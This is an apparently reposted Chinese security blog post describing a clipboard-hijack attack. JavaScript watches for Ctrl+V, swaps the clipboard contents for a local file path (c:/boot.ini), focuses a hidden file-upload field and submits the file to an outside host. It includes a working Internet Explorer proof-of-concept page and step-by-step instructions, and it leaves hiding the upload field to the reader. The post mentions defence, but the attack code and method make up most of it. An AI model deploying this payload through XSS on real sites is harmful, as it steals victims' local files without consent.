Javascript Paste Keyboard Shortcuts Hijack
来源:互联网 发布:as400软件开发工程师 编辑:程序博客网 时间:2024/05/18 01:46
author : kj021320
team : I.S.T.O
这样的攻击手段也算是极其无耻 猥琐之极! 所以防御措施一定要做好
首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!
那到底是什么回事呢? OK 我慢慢来说
首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!
怎么让用户上传呢? 很简单! 通过 <input type=file > 这样就能让用户上传文件了!
现在又一个问题是, input 为file的时候 value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!
其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?
没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤
1. 判断是否 进行 ctrl + v
2. 替换粘贴板
3. 光标切换到 文件上传
4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )
IE 下的 POC :
<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>
<body onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
if(event.ctrlKey){
if(event.keyCode==86){
window.clipboardData.setData("text","c:/boot.ini");
document.getElementById('kj_filehijack').focus();
document.s.submit();
}
}
}
</script>
</BODY>
</HTML>
- Javascript Paste Keyboard Shortcuts Hijack
- Javascript Paste Keyboard Shortcuts Hijack
- Keyboard shortcuts
- Keyboard Shortcuts
- Keyboard shortcuts for Windows
- fedora 12 keyboard shortcuts
- VIM keyboard shortcuts
- Keyboard Shortcuts - VC
- Keyboard Shortcuts - VC
- multiple keyboard shortcuts
- VIM keyboard shortcuts
- KDE Common Keyboard Shortcuts
- Mac Keyboard Shortcuts (Updating)
- jupeter notebook keyboard shortcuts
- Firefox Keyboard and Mouse Shortcuts
- Top 20 VMware Keyboard Shortcuts
- Qt Creator Default Keyboard Shortcuts
- Visual Studio 2012 keyboard shortcuts
- 经典问题11: 位运算与嵌入式编程相关问题
- 技术族谱:软件开发相关知识体系的整理心得(图)
- 进步是一种动力
- 经典问题12:数据结构基础 ---堆
- 夸奖与批评
- Javascript Paste Keyboard Shortcuts Hijack
- 关于win7下Realtek声卡的爆音问题
- Get system default language
- IIS同一站点下aps.net 1.1 2.0 3.5 共存方法
- Error: unrecognized/unsupported machine ID 解决办法
- <<飞 鸟 集>>
- Oracle中SQLPLUS的常用指令收集与技
- reactos操作系统实现(100)
- 游戏服务器的架构设计